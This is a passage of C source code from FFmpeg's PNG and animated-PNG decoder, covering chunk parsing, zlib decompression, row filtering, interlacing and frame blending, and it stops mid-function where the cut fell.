/* * PNG image format * Copyright (c) 2003 Fabrice Bellard * * This file is part of FFmpeg. * * FFmpeg is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * FFmpeg is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with FFmpeg; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ //#define DEBUG #include "libavutil/avassert.h" #include "libavutil/bprint.h" #include "libavutil/imgutils.h" #include "libavutil/stereo3d.h" #include "avcodec.h" #include "bytestream.h" #include "internal.h" #include "apng.h" #include "png.h" #include "pngdsp.h" #include "thread.h" #include <zlib.h> typedef struct PNGDecContext { PNGDSPContext dsp; AVCodecContext *avctx; GetByteContext gb; ThreadFrame previous_picture; ThreadFrame last_picture; ThreadFrame picture; int state; int width, height; int cur_w, cur_h; int last_w, last_h; int x_offset, y_offset; int last_x_offset, last_y_offset; uint8_t dispose_op, blend_op; uint8_t last_dispose_op; int bit_depth; int color_type; int compression_type; int interlace_type; int filter_type; int channels; int bits_per_pixel; int bpp; int has_trns; uint8_t transparent_color_be[6]; uint8_t *image_buf; int image_linesize; uint32_t palette[256]; uint8_t *crow_buf; uint8_t *last_row; unsigned int last_row_size; uint8_t *tmp_row; unsigned int tmp_row_size; uint8_t *buffer; int buffer_size; int pass; int crow_size; /* compressed row size (include filter type) */ int row_size; /* decompressed row size */ int pass_row_size; /* decompress row size of the current pass */ int y; z_stream zstream; } PNGDecContext; /* Mask to determine which pixels are valid in a pass */ static const uint8_t png_pass_mask[NB_PASSES] = { 0x01, 0x01, 0x11, 0x11, 0x55, 0x55, 0xff, }; /* Mask to determine which y pixels can be written in a pass */ static const uint8_t png_pass_dsp_ymask[NB_PASSES] = { 0xff, 0xff, 0x0f, 0xff, 0x33, 0xff, 0x55, }; /* Mask to determine which pixels to overwrite while displaying */ static const uint8_t png_pass_dsp_mask[NB_PASSES] = { 0xff, 0x0f, 0xff, 0x33, 0xff, 0x55, 0xff }; /* NOTE: we try to construct a good looking image at each pass. width * is the original image width. We also do pixel format conversion at * this stage */ static void png_put_interlaced_row(uint8_t *dst, int width, int bits_per_pixel, int pass, int color_type, const uint8_t *src) { int x, mask, dsp_mask, j, src_x, b, bpp; uint8_t *d; const uint8_t *s; mask = png_pass_mask[pass]; dsp_mask = png_pass_dsp_mask[pass]; switch (bits_per_pixel) { case 1: src_x = 0; for (x = 0; x < width; x++) { j = (x & 7); if ((dsp_mask << j) & 0x80) { b = (src[src_x >> 3] >> (7 - (src_x & 7))) & 1; dst[x >> 3] &= 0xFF7F>>j; dst[x >> 3] |= b << (7 - j); } if ((mask << j) & 0x80) src_x++; } break; case 2: src_x = 0; for (x = 0; x < width; x++) { int j2 = 2 * (x & 3); j = (x & 7); if ((dsp_mask << j) & 0x80) { b = (src[src_x >> 2] >> (6 - 2*(src_x & 3))) & 3; dst[x >> 2] &= 0xFF3F>>j2; dst[x >> 2] |= b << (6 - j2); } if ((mask << j) & 0x80) src_x++; } break; case 4: src_x = 0; for (x = 0; x < width; x++) { int j2 = 4*(x&1); j = (x & 7); if ((dsp_mask << j) & 0x80) { b = (src[src_x >> 1] >> (4 - 4*(src_x & 1))) & 15; dst[x >> 1] &= 0xFF0F>>j2; dst[x >> 1] |= b << (4 - j2); } if ((mask << j) & 0x80) src_x++; } break; default: bpp = bits_per_pixel >> 3; d = dst; s = src; for (x = 0; x < width; x++) { j = x & 7; if ((dsp_mask << j) & 0x80) { memcpy(d, s, bpp); } d += bpp; if ((mask << j) & 0x80) s += bpp; } break; } } void ff_add_png_paeth_prediction(uint8_t *dst, uint8_t *src, uint8_t *top, int w, int bpp) { int i; for (i = 0; i < w; i++) { int a, b, c, p, pa, pb, pc; a = dst[i - bpp]; b = top[i]; c = top[i - bpp]; p = b - c; pc = a - c; pa = abs(p); pb = abs(pc); pc = abs(p + pc); if (pa <= pb && pa <= pc) p = a; else if (pb <= pc) p = b; else p = c; dst[i] = p + src[i]; } } #define UNROLL1(bpp, op) \ { \ r = dst[0]; \ if (bpp >= 2) \ g = dst[1]; \ if (bpp >= 3) \ b = dst[2]; \ if (bpp >= 4) \ a = dst[3]; \ for (; i <= size - bpp; i += bpp) { \ dst[i + 0] = r = op(r, src[i + 0], last[i + 0]); \ if (bpp == 1) \ continue; \ dst[i + 1] = g = op(g, src[i + 1], last[i + 1]); \ if (bpp == 2) \ continue; \ dst[i + 2] = b = op(b, src[i + 2], last[i + 2]); \ if (bpp == 3) \ continue; \ dst[i + 3] = a = op(a, src[i + 3], last[i + 3]); \ } \ } #define UNROLL_FILTER(op) \ if (bpp == 1) { \ UNROLL1(1, op) \ } else if (bpp == 2) { \ UNROLL1(2, op) \ } else if (bpp == 3) { \ UNROLL1(3, op) \ } else if (bpp == 4) { \ UNROLL1(4, op) \ } \ for (; i < size; i++) { \ dst[i] = op(dst[i - bpp], src[i], last[i]); \ } /* NOTE: 'dst' can be equal to 'last' */ static void png_filter_row(PNGDSPContext *dsp, uint8_t *dst, int filter_type, uint8_t *src, uint8_t *last, int size, int bpp) { int i, p, r, g, b, a; switch (filter_type) { case PNG_FILTER_VALUE_NONE: memcpy(dst, src, size); break; case PNG_FILTER_VALUE_SUB: for (i = 0; i < bpp; i++) dst[i] = src[i]; if (bpp == 4) { p = *(int *)dst; for (; i < size; i += bpp) { unsigned s = *(int *)(src + i); p = ((s & 0x7f7f7f7f) + (p & 0x7f7f7f7f)) ^ ((s ^ p) & 0x80808080); *(int *)(dst + i) = p; } } else { #define OP_SUB(x, s, l) ((x) + (s)) UNROLL_FILTER(OP_SUB); } break; case PNG_FILTER_VALUE_UP: dsp->add_bytes_l2(dst, src, last, size); break; case PNG_FILTER_VALUE_AVG: for (i = 0; i < bpp; i++) { p = (last[i] >> 1); dst[i] = p + src[i]; } #define OP_AVG(x, s, l) (((((x) + (l)) >> 1) + (s)) & 0xff) UNROLL_FILTER(OP_AVG); break; case PNG_FILTER_VALUE_PAETH: for (i = 0; i < bpp; i++) { p = last[i]; dst[i] = p + src[i]; } if (bpp > 2 && size > 4) { /* would write off the end of the array if we let it process * the last pixel with bpp=3 */ int w = (bpp & 3) ? size - 3 : size; if (w > i) { dsp->add_paeth_prediction(dst + i, src + i, last + i, size - i, bpp); i = w; } } ff_add_png_paeth_prediction(dst + i, src + i, last + i, size - i, bpp); break; } } /* This used to be called "deloco" in FFmpeg * and is actually an inverse reversible colorspace transformation */ #define YUV2RGB(NAME, TYPE) \ static void deloco_ ## NAME(TYPE *dst, int size, int alpha) \ { \ int i; \ for (i = 0; i < size; i += 3 + alpha) { \ int g = dst [i + 1]; \ dst[i + 0] += g; \ dst[i + 2] += g; \ } \ } YUV2RGB(rgb8, uint8_t) YUV2RGB(rgb16, uint16_t) /* process exactly one decompressed row */ static void png_handle_row(PNGDecContext *s) { uint8_t *ptr, *last_row; int got_line; if (!s->interlace_type) { ptr = s->image_buf + s->image_linesize * (s->y + s->y_offset) + s->x_offset * s->bpp; if (s->y == 0) last_row = s->last_row; else last_row = ptr - s->image_linesize; png_filter_row(&s->dsp, ptr, s->crow_buf[0], s->crow_buf + 1, last_row, s->row_size, s->bpp); /* loco lags by 1 row so that it doesn't interfere with top prediction */ if (s->filter_type == PNG_FILTER_TYPE_LOCO && s->y > 0) { if (s->bit_depth == 16) { deloco_rgb16((uint16_t *)(ptr - s->image_linesize), s->row_size / 2, s->color_type == PNG_COLOR_TYPE_RGB_ALPHA); } else { deloco_rgb8(ptr - s->image_linesize, s->row_size, s->color_type == PNG_COLOR_TYPE_RGB_ALPHA); } } s->y++; if (s->y == s->cur_h) { s->state |= PNG_ALLIMAGE; if (s->filter_type == PNG_FILTER_TYPE_LOCO) { if (s->bit_depth == 16) { deloco_rgb16((uint16_t *)ptr, s->row_size / 2, s->color_type == PNG_COLOR_TYPE_RGB_ALPHA); } else { deloco_rgb8(ptr, s->row_size, s->color_type == PNG_COLOR_TYPE_RGB_ALPHA); } } } } else { got_line = 0; for (;;) { ptr = s->image_buf + s->image_linesize * (s->y + s->y_offset) + s->x_offset * s->bpp; if ((ff_png_pass_ymask[s->pass] << (s->y & 7)) & 0x80) { /* if we already read one row, it is time to stop to * wait for the next one */ if (got_line) break; png_filter_row(&s->dsp, s->tmp_row, s->crow_buf[0], s->crow_buf + 1, s->last_row, s->pass_row_size, s->bpp); FFSWAP(uint8_t *, s->last_row, s->tmp_row); FFSWAP(unsigned int, s->last_row_size, s->tmp_row_size); got_line = 1; } if ((png_pass_dsp_ymask[s->pass] << (s->y & 7)) & 0x80) { png_put_interlaced_row(ptr, s->cur_w, s->bits_per_pixel, s->pass, s->color_type, s->last_row); } s->y++; if (s->y == s->cur_h) { memset(s->last_row, 0, s->row_size); for (;;) { if (s->pass == NB_PASSES - 1) { s->state |= PNG_ALLIMAGE; goto the_end; } else { s->pass++; s->y = 0; s->pass_row_size = ff_png_pass_row_size(s->pass, s->bits_per_pixel, s->cur_w); s->crow_size = s->pass_row_size + 1; if (s->pass_row_size != 0) break; /* skip pass if empty row */ } } } } the_end:; } } static int png_decode_idat(PNGDecContext *s, int length) { int ret; s->zstream.avail_in = FFMIN(length, bytestream2_get_bytes_left(&s->gb)); s->zstream.next_in = (unsigned char *)s->gb.buffer; bytestream2_skip(&s->gb, length); /* decode one line if possible */ while (s->zstream.avail_in > 0) { ret = inflate(&s->zstream, Z_PARTIAL_FLUSH); if (ret != Z_OK && ret != Z_STREAM_END) { av_log(s->avctx, AV_LOG_ERROR, "inflate returned error %d\n", ret); return AVERROR_EXTERNAL; } if (s->zstream.avail_out == 0) { if (!(s->state & PNG_ALLIMAGE)) { png_handle_row(s); } s->zstream.avail_out = s->crow_size; s->zstream.next_out = s->crow_buf; } if (ret == Z_STREAM_END && s->zstream.avail_in > 0) { av_log(NULL, AV_LOG_WARNING, "%d undecompressed bytes left in buffer\n", s->zstream.avail_in); return 0; } } return 0; } static int decode_zbuf(AVBPrint *bp, const uint8_t *data, const uint8_t *data_end) { z_stream zstream; unsigned char *buf; unsigned buf_size; int ret; zstream.zalloc = ff_png_zalloc; zstream.zfree = ff_png_zfree; zstream.opaque = NULL; if (inflateInit(&zstream) != Z_OK) return AVERROR_EXTERNAL; zstream.next_in = (unsigned char *)data; zstream.avail_in = data_end - data; av_bprint_init(bp, 0, -1); while (zstream.avail_in > 0) { av_bprint_get_buffer(bp, 2, &buf, &buf_size); if (buf_size < 2) { ret = AVERROR(ENOMEM); goto fail; } zstream.next_out = buf; zstream.avail_out = buf_size - 1; ret = inflate(&zstream, Z_PARTIAL_FLUSH); if (ret != Z_OK && ret != Z_STREAM_END) { ret = AVERROR_EXTERNAL; goto fail; } bp->len += zstream.next_out - buf; if (ret == Z_STREAM_END) break; } inflateEnd(&zstream); bp->str[bp->len] = 0; return 0; fail: inflateEnd(&zstream); av_bprint_finalize(bp, NULL); return ret; } static uint8_t *iso88591_to_utf8(const uint8_t *in, size_t size_in) { size_t extra = 0, i; uint8_t *out, *q; for (i = 0; i < size_in; i++) extra += in[i] >= 0x80; if (size_in == SIZE_MAX || extra > SIZE_MAX - size_in - 1) return NULL; q = out = av_malloc(size_in + extra + 1); if (!out) return NULL; for (i = 0; i < size_in; i++) { if (in[i] >= 0x80) { *(q++) = 0xC0 | (in[i] >> 6); *(q++) = 0x80 | (in[i] & 0x3F); } else { *(q++) = in[i]; } } *(q++) = 0; return out; } static int decode_text_chunk(PNGDecContext *s, uint32_t length, int compressed, AVDictionary **dict) { int ret, method; const uint8_t *data = s->gb.buffer; const uint8_t *data_end = data + length; const uint8_t *keyword = data; const uint8_t *keyword_end = memchr(keyword, 0, data_end - keyword); uint8_t *kw_utf8 = NULL, *text, *txt_utf8 = NULL; unsigned text_len; AVBPrint bp; if (!keyword_end) return AVERROR_INVALIDDATA; data = keyword_end + 1; if (compressed) { if (data == data_end) return AVERROR_INVALIDDATA; method = *(data++); if (method) return AVERROR_INVALIDDATA; if ((ret = decode_zbuf(&bp, data, data_end)) < 0) return ret; text_len = bp.len; av_bprint_finalize(&bp, (char **)&text); if (!text) return AVERROR(ENOMEM); } else { text = (uint8_t *)data; text_len = data_end - text; } kw_utf8 = iso88591_to_utf8(keyword, keyword_end - keyword); txt_utf8 = iso88591_to_utf8(text, text_len); if (text != data) av_free(text); if (!(kw_utf8 && txt_utf8)) { av_free(kw_utf8); av_free(txt_utf8); return AVERROR(ENOMEM); } av_dict_set(dict, kw_utf8, txt_utf8, AV_DICT_DONT_STRDUP_KEY | AV_DICT_DONT_STRDUP_VAL); return 0; } static int decode_ihdr_chunk(AVCodecContext *avctx, PNGDecContext *s, uint32_t length) { if (length != 13) return AVERROR_INVALIDDATA; if (s->state & PNG_IDAT) { av_log(avctx, AV_LOG_ERROR, "IHDR after IDAT\n"); return AVERROR_INVALIDDATA; } if (s->state & PNG_IHDR) { av_log(avctx, AV_LOG_ERROR, "Multiple IHDR\n"); return AVERROR_INVALIDDATA; } s->width = s->cur_w = bytestream2_get_be32(&s->gb); s->height = s->cur_h = bytestream2_get_be32(&s->gb); if (av_image_check_size(s->width, s->height, 0, avctx)) { s->cur_w = s->cur_h = s->width = s->height = 0; av_log(avctx, AV_LOG_ERROR, "Invalid image size\n"); return AVERROR_INVALIDDATA; } s->bit_depth = bytestream2_get_byte(&s->gb); s->color_type = bytestream2_get_byte(&s->gb); s->compression_type = bytestream2_get_byte(&s->gb); s->filter_type = bytestream2_get_byte(&s->gb); s->interlace_type = bytestream2_get_byte(&s->gb); bytestream2_skip(&s->gb, 4); /* crc */ s->state |= PNG_IHDR; if (avctx->debug & FF_DEBUG_PICT_INFO) av_log(avctx, AV_LOG_DEBUG, "width=%d height=%d depth=%d color_type=%d " "compression_type=%d filter_type=%d interlace_type=%d\n", s->width, s->height, s->bit_depth, s->color_type, s->compression_type, s->filter_type, s->interlace_type); return 0; } static int decode_phys_chunk(AVCodecContext *avctx, PNGDecContext *s) { if (s->state & PNG_IDAT) { av_log(avctx, AV_LOG_ERROR, "pHYs after IDAT\n"); return AVERROR_INVALIDDATA; } avctx->sample_aspect_ratio.num = bytestream2_get_be32(&s->gb); avctx->sample_aspect_ratio.den = bytestream2_get_be32(&s->gb); if (avctx->sample_aspect_ratio.num < 0 || avctx->sample_aspect_ratio.den < 0) avctx->sample_aspect_ratio = (AVRational){ 0, 1 }; bytestream2_skip(&s->gb, 1); /* unit specifier */ bytestream2_skip(&s->gb, 4); /* crc */ return 0; } static int decode_idat_chunk(AVCodecContext *avctx, PNGDecContext *s, uint32_t length, AVFrame *p) { int ret; size_t byte_depth = s->bit_depth > 8 ? 2 : 1; if (!(s->state & PNG_IHDR)) { av_log(avctx, AV_LOG_ERROR, "IDAT without IHDR\n"); return AVERROR_INVALIDDATA; } if (!(s->state & PNG_IDAT)) { /* init image info */ avctx->width = s->width; avctx->height = s->height; s->channels = ff_png_get_nb_channels(s->color_type); s->bits_per_pixel = s->bit_depth * s->channels; s->bpp = (s->bits_per_pixel + 7) >> 3; s->row_size = (s->cur_w * s->bits_per_pixel + 7) >> 3; if ((s->bit_depth == 2 || s->bit_depth == 4 || s->bit_depth == 8) && s->color_type == PNG_COLOR_TYPE_RGB) { avctx->pix_fmt = AV_PIX_FMT_RGB24; } else if ((s->bit_depth == 2 || s->bit_depth == 4 || s->bit_depth == 8) && s->color_type == PNG_COLOR_TYPE_RGB_ALPHA) { avctx->pix_fmt = AV_PIX_FMT_RGBA; } else if ((s->bit_depth == 2 || s->bit_depth == 4 || s->bit_depth == 8) && s->color_type == PNG_COLOR_TYPE_GRAY) { avctx->pix_fmt = AV_PIX_FMT_GRAY8; } else if (s->bit_depth == 16 && s->color_type == PNG_COLOR_TYPE_GRAY) { avctx->pix_fmt = AV_PIX_FMT_GRAY16BE; } else if (s->bit_depth == 16 && s->color_type == PNG_COLOR_TYPE_RGB) { avctx->pix_fmt = AV_PIX_FMT_RGB48BE; } else if (s->bit_depth == 16 && s->color_type == PNG_COLOR_TYPE_RGB_ALPHA) { avctx->pix_fmt = AV_PIX_FMT_RGBA64BE; } else if ((s->bits_per_pixel == 1 || s->bits_per_pixel == 2 || s->bits_per_pixel == 4 || s->bits_per_pixel == 8) && s->color_type == PNG_COLOR_TYPE_PALETTE) { avctx->pix_fmt = AV_PIX_FMT_PAL8; } else if (s->bit_depth == 1 && s->bits_per_pixel == 1 && avctx->codec_id != AV_CODEC_ID_APNG) { avctx->pix_fmt = AV_PIX_FMT_MONOBLACK; } else if (s->bit_depth == 8 && s->color_type == PNG_COLOR_TYPE_GRAY_ALPHA) { avctx->pix_fmt = AV_PIX_FMT_YA8; } else if (s->bit_depth == 16 && s->color_type == PNG_COLOR_TYPE_GRAY_ALPHA) { avctx->pix_fmt = AV_PIX_FMT_YA16BE; } else { av_log(avctx, AV_LOG_ERROR, "unsupported bit depth %d " "and color type %d\n", s->bit_depth, s->color_type); return AVERROR_INVALIDDATA; } if (s->has_trns && s->color_type != PNG_COLOR_TYPE_PALETTE) { switch (avctx->pix_fmt) { case AV_PIX_FMT_RGB24: avctx->pix_fmt = AV_PIX_FMT_RGBA; break; case AV_PIX_FMT_RGB48BE: avctx->pix_fmt = AV_PIX_FMT_RGBA64BE; break; case AV_PIX_FMT_GRAY8: avctx->pix_fmt = AV_PIX_FMT_YA8; break; case AV_PIX_FMT_GRAY16BE: avctx->pix_fmt = AV_PIX_FMT_YA16BE; break; default: avpriv_request_sample(avctx, "bit depth %d " "and color type %d with TRNS", s->bit_depth, s->color_type); return AVERROR_INVALIDDATA; } s->bpp += byte_depth; } if ((ret = ff_thread_get_buffer(avctx, &s->picture, AV_GET_BUFFER_FLAG_REF)) < 0) return ret; if (avctx->codec_id == AV_CODEC_ID_APNG && s->last_dispose_op != APNG_DISPOSE_OP_PREVIOUS) { ff_thread_release_buffer(avctx, &s->previous_picture); if ((ret = ff_thread_get_buffer(avctx, &s->previous_picture, AV_GET_BUFFER_FLAG_REF)) < 0) return ret; } ff_thread_finish_setup(avctx); p->pict_type = AV_PICTURE_TYPE_I; p->key_frame = 1; p->interlaced_frame = !!s->interlace_type; /* compute the compressed row size */ if (!s->interlace_type) { s->crow_size = s->row_size + 1; } else { s->pass = 0; s->pass_row_size = ff_png_pass_row_size(s->pass, s->bits_per_pixel, s->cur_w); s->crow_size = s->pass_row_size + 1; } ff_dlog(avctx, "row_size=%d crow_size =%d\n", s->row_size, s->crow_size); s->image_buf = p->data[0]; s->image_linesize = p->linesize[0]; /* copy the palette if needed */ if (avctx->pix_fmt == AV_PIX_FMT_PAL8) memcpy(p->data[1], s->palette, 256 * sizeof(uint32_t)); /* empty row is used if differencing to the first row */ av_fast_padded_mallocz(&s->last_row, &s->last_row_size, s->row_size); if (!s->last_row) return AVERROR_INVALIDDATA; if (s->interlace_type || s->color_type == PNG_COLOR_TYPE_RGB_ALPHA) { av_fast_padded_malloc(&s->tmp_row, &s->tmp_row_size, s->row_size); if (!s->tmp_row) return AVERROR_INVALIDDATA; } /* compressed row */ av_fast_padded_malloc(&s->buffer, &s->buffer_size, s->row_size + 16); if (!s->buffer) return AVERROR(ENOMEM); /* we want crow_buf+1 to be 16-byte aligned */ s->crow_buf = s->buffer + 15; s->zstream.avail_out = s->crow_size; s->zstream.next_out = s->crow_buf; } s->state |= PNG_IDAT; /* set image to non-transparent bpp while decompressing */ if (s->has_trns && s->color_type != PNG_COLOR_TYPE_PALETTE) s->bpp -= byte_depth; ret = png_decode_idat(s, length); if (s->has_trns && s->color_type != PNG_COLOR_TYPE_PALETTE) s->bpp += byte_depth; if (ret < 0) return ret; bytestream2_skip(&s->gb, 4); /* crc */ return 0; } static int decode_plte_chunk(AVCodecContext *avctx, PNGDecContext *s, uint32_t length) { int n, i, r, g, b; if ((length % 3) != 0 || length > 256 * 3) return AVERROR_INVALIDDATA; /* read the palette */ n = length / 3; for (i = 0; i < n; i++) { r = bytestream2_get_byte(&s->gb); g = bytestream2_get_byte(&s->gb); b = bytestream2_get_byte(&s->gb); s->palette[i] = (0xFFU << 24) | (r << 16) | (g << 8) | b; } for (; i < 256; i++) s->palette[i] = (0xFFU << 24); s->state |= PNG_PLTE; bytestream2_skip(&s->gb, 4); /* crc */ return 0; } static int decode_trns_chunk(AVCodecContext *avctx, PNGDecContext *s, uint32_t length) { int v, i; if (!(s->state & PNG_IHDR)) { av_log(avctx, AV_LOG_ERROR, "trns before IHDR\n"); return AVERROR_INVALIDDATA; } if (s->state & PNG_IDAT) { av_log(avctx, AV_LOG_ERROR, "trns after IDAT\n"); return AVERROR_INVALIDDATA; } if (s->color_type == PNG_COLOR_TYPE_PALETTE) { if (length > 256 || !(s->state & PNG_PLTE)) return AVERROR_INVALIDDATA; for (i = 0; i < length; i++) { v = bytestream2_get_byte(&s->gb); s->palette[i] = (s->palette[i] & 0x00ffffff) | (v << 24); } } else if (s->color_type == PNG_COLOR_TYPE_GRAY || s->color_type == PNG_COLOR_TYPE_RGB) { if ((s->color_type == PNG_COLOR_TYPE_GRAY && length != 2) || (s->color_type == PNG_COLOR_TYPE_RGB && length != 6) || s->bit_depth == 1) return AVERROR_INVALIDDATA; for (i = 0; i < length / 2; i++) { /* only use the least significant bits */ v = av_mod_uintp2(bytestream2_get_be16(&s->gb), s->bit_depth); if (s->bit_depth > 8) AV_WB16(&s->transparent_color_be[2 * i], v); else s->transparent_color_be[i] = v; } } else { return AVERROR_INVALIDDATA; } bytestream2_skip(&s->gb, 4); /* crc */ s->has_trns = 1; return 0; } static void handle_small_bpp(PNGDecContext *s, AVFrame *p) { if (s->bits_per_pixel == 1 && s->color_type == PNG_COLOR_TYPE_PALETTE) { int i, j, k; uint8_t *pd = p->data[0]; for (j = 0; j < s->height; j++) { i = s->width / 8; for (k = 7; k >= 1; k--) if ((s->width&7) >= k) pd[8*i + k - 1] = (pd[i]>>8-k) & 1; for (i--; i >= 0; i--) { pd[8*i + 7]= pd[i] & 1; pd[8*i + 6]= (pd[i]>>1) & 1; pd[8*i + 5]= (pd[i]>>2) & 1; pd[8*i + 4]= (pd[i]>>3) & 1; pd[8*i + 3]= (pd[i]>>4) & 1; pd[8*i + 2]= (pd[i]>>5) & 1; pd[8*i + 1]= (pd[i]>>6) & 1; pd[8*i + 0]= pd[i]>>7; } pd += s->image_linesize; } } else if (s->bits_per_pixel == 2) { int i, j; uint8_t *pd = p->data[0]; for (j = 0; j < s->height; j++) { i = s->width / 4; if (s->color_type == PNG_COLOR_TYPE_PALETTE) { if ((s->width&3) >= 3) pd[4*i + 2]= (pd[i] >> 2) & 3; if ((s->width&3) >= 2) pd[4*i + 1]= (pd[i] >> 4) & 3; if ((s->width&3) >= 1) pd[4*i + 0]= pd[i] >> 6; for (i--; i >= 0; i--) { pd[4*i + 3]= pd[i] & 3; pd[4*i + 2]= (pd[i]>>2) & 3; pd[4*i + 1]= (pd[i]>>4) & 3; pd[4*i + 0]= pd[i]>>6; } } else { if ((s->width&3) >= 3) pd[4*i + 2]= ((pd[i]>>2) & 3)*0x55; if ((s->width&3) >= 2) pd[4*i + 1]= ((pd[i]>>4) & 3)*0x55; if ((s->width&3) >= 1) pd[4*i + 0]= ( pd[i]>>6 )*0x55; for (i--; i >= 0; i--) { pd[4*i + 3]= ( pd[i] & 3)*0x55; pd[4*i + 2]= ((pd[i]>>2) & 3)*0x55; pd[4*i + 1]= ((pd[i]>>4) & 3)*0x55; pd[4*i + 0]= ( pd[i]>>6 )*0x55; } } pd += s->image_linesize; } } else if (s->bits_per_pixel == 4) { int i, j; uint8_t *pd = p->data[0]; for (j = 0; j < s->height; j++) { i = s->width/2; if (s->color_type == PNG_COLOR_TYPE_PALETTE) { if (s->width&1) pd[2*i+0]= pd[i]>>4; for (i--; i >= 0; i--) { pd[2*i + 1] = pd[i] & 15; pd[2*i + 0] = pd[i] >> 4; } } else { if (s->width & 1) pd[2*i + 0]= (pd[i] >> 4) * 0x11; for (i--; i >= 0; i--) { pd[2*i + 1] = (pd[i] & 15) * 0x11; pd[2*i + 0] = (pd[i] >> 4) * 0x11; } } pd += s->image_linesize; } } } static int decode_fctl_chunk(AVCodecContext *avctx, PNGDecContext *s, uint32_t length) { uint32_t sequence_number; int cur_w, cur_h, x_offset, y_offset, dispose_op, blend_op; if (length != 26) return AVERROR_INVALIDDATA; if (!(s->state & PNG_IHDR)) { av_log(avctx, AV_LOG_ERROR, "fctl before IHDR\n"); return AVERROR_INVALIDDATA; } s->last_w = s->cur_w; s->last_h = s->cur_h; s->last_x_offset = s->x_offset; s->last_y_offset = s->y_offset; s->last_dispose_op = s->dispose_op; sequence_number = bytestream2_get_be32(&s->gb); cur_w = bytestream2_get_be32(&s->gb); cur_h = bytestream2_get_be32(&s->gb); x_offset = bytestream2_get_be32(&s->gb); y_offset = bytestream2_get_be32(&s->gb); bytestream2_skip(&s->gb, 4); /* delay_num (2), delay_den (2) */ dispose_op = bytestream2_get_byte(&s->gb); blend_op = bytestream2_get_byte(&s->gb); bytestream2_skip(&s->gb, 4); /* crc */ if (sequence_number == 0 && (cur_w != s->width || cur_h != s->height || x_offset != 0 || y_offset != 0) || cur_w <= 0 || cur_h <= 0 || x_offset < 0 || y_offset < 0 || cur_w > s->width - x_offset|| cur_h > s->height - y_offset) return AVERROR_INVALIDDATA; if (blend_op != APNG_BLEND_OP_OVER && blend_op != APNG_BLEND_OP_SOURCE) { av_log(avctx, AV_LOG_ERROR, "Invalid blend_op %d\n", blend_op); return AVERROR_INVALIDDATA; } if ((sequence_number == 0 || !s->previous_picture.f->data[0]) && dispose_op == APNG_DISPOSE_OP_PREVIOUS) { // No previous frame to revert to for the first frame // Spec says to just treat it as a APNG_DISPOSE_OP_BACKGROUND dispose_op = APNG_DISPOSE_OP_BACKGROUND; } if (blend_op == APNG_BLEND_OP_OVER && !s->has_trns && ( avctx->pix_fmt == AV_PIX_FMT_RGB24 || avctx->pix_fmt == AV_PIX_FMT_RGB48BE || avctx->pix_fmt == AV_PIX_FMT_PAL8 || avctx->pix_fmt == AV_PIX_FMT_GRAY8 || avctx->pix_fmt == AV_PIX_FMT_GRAY16BE || avctx->pix_fmt == AV_PIX_FMT_MONOBLACK )) { // APNG_BLEND_OP_OVER is the same as APNG_BLEND_OP_SOURCE when there is no alpha channel blend_op = APNG_BLEND_OP_SOURCE; } s->cur_w = cur_w; s->cur_h = cur_h; s->x_offset = x_offset; s->y_offset = y_offset; s->dispose_op = dispose_op; s->blend_op = blend_op; return 0; } static void handle_p_frame_png(PNGDecContext *s, AVFrame *p) { int i, j; uint8_t *pd = p->data[0]; uint8_t *pd_last = s->last_picture.f->data[0]; int ls = FFMIN(av_image_get_linesize(p->format, s->width, 0), s->width * s->bpp); ff_thread_await_progress(&s->last_picture, INT_MAX, 0); for (j = 0; j < s->height; j++) { for (i = 0; i < ls; i++) pd[i] += pd_last[i]; pd += s->image_linesize; pd_last += s->image_linesize; } } // divide by 255 and round to nearest // apply a fast variant: (X+127)/255 = ((X+127)*257+257)>>16 = ((X+128)*257)>>16 #define FAST_DIV255(x) ((((x) + 128) * 257) >> 16) static int handle_p_frame_apng(AVCodecContext *avctx, PNGDecContext *s, AVFrame *p) { size_t x, y; uint8_t *buffer; if (s->blend_op == APNG_BLEND_OP_OVER && avctx->pix_fmt != AV_PIX_FMT_RGBA && avctx->pix_fmt != AV_PIX_FMT_GRAY8A && avctx->pix_fmt != AV_PIX_FMT_PAL8) { avpriv_request_sample(avctx, "Blending with pixel format %s", av_get_pix_fmt_name(avctx->pix_fmt)); return AVERROR_PATCHWELCOME; } buffer = av_malloc_array(s->image_linesize, s->height); if (!buffer) return AVERROR(ENOMEM); // Do the disposal operation specified by the last frame on the frame if (s->last_dispose_op != APNG_DISPOSE_OP_PREVIOUS) { ff_thread_await_progress(&s->last_picture, INT_MAX, 0); memcpy(buffer, s->last_picture.f->data[0], s->image_linesize * s->height); if (s->last_dispose_op == APNG_DISPOSE_OP_BACKGROUND) for (y = s->last_y_offset; y < s->last_y_offset + s->last_h; ++y) memset(buffer + s->image_linesize * y + s->bpp * s->last_x_offset, 0, s->bpp * s->last_w); memcpy(s->previous_picture.f->data[0], buffer, s->image_linesize * s->height); ff_thread_report_progress(&s->previous_picture, INT_MAX, 0); } else { ff_thread_await_progress(&s->previous_picture, INT_MAX, 0); memcpy(buffer, s->previous_picture.f->data[0], s->image_linesize * s->height); } // Perform blending if (s->blend_op == APNG_BLEND_OP_SOURCE) { for (y = s->y_offset; y < s->y_offset + s->cur_h; ++y) { size_t row_start = s->image_linesize * y + s->bpp * s->x_offset; memcpy(buffer + row_start, p->data[0] + row_start, s->bpp * s->cur_w); } } else { // APNG_BLEND_OP_OVER for (y = s->y_offset; y < s->y_offset + s->cur_h; ++y) { uint8_t *foreground = p->data[0] + s->image_linesize * y + s->bpp * s->x_offset; uint8_t *background = buffer + s->image_linesize * y + s->bpp * s->x_offset; for (x = s->x_offset; x < s->x_offset + s->cur_w; ++x, foreground += s->bpp, background += s->bpp) { size_t b; uint8_t foreground_alpha, background_alpha, output_alpha; uint8_t output[10]; // Since we might be blending alpha onto alpha, we use the following equations: // output_alpha = foreground_alpha + (1 - foreground_alpha) * background_alpha // output = (foreground_alpha * foreground + (1 - foreground_alpha) * background_alpha * background) / output_alpha switch (avctx->pix_fmt) { case AV_PIX_FMT_RGBA: foreground_alpha = foreground[3]; background_alpha = background[3]; break; case AV_PIX_FMT_GRAY8A: foreground_alpha = foreground[1]; background_alpha = background[1]; break; case AV_PIX_FMT_PAL8: foreground_alpha = 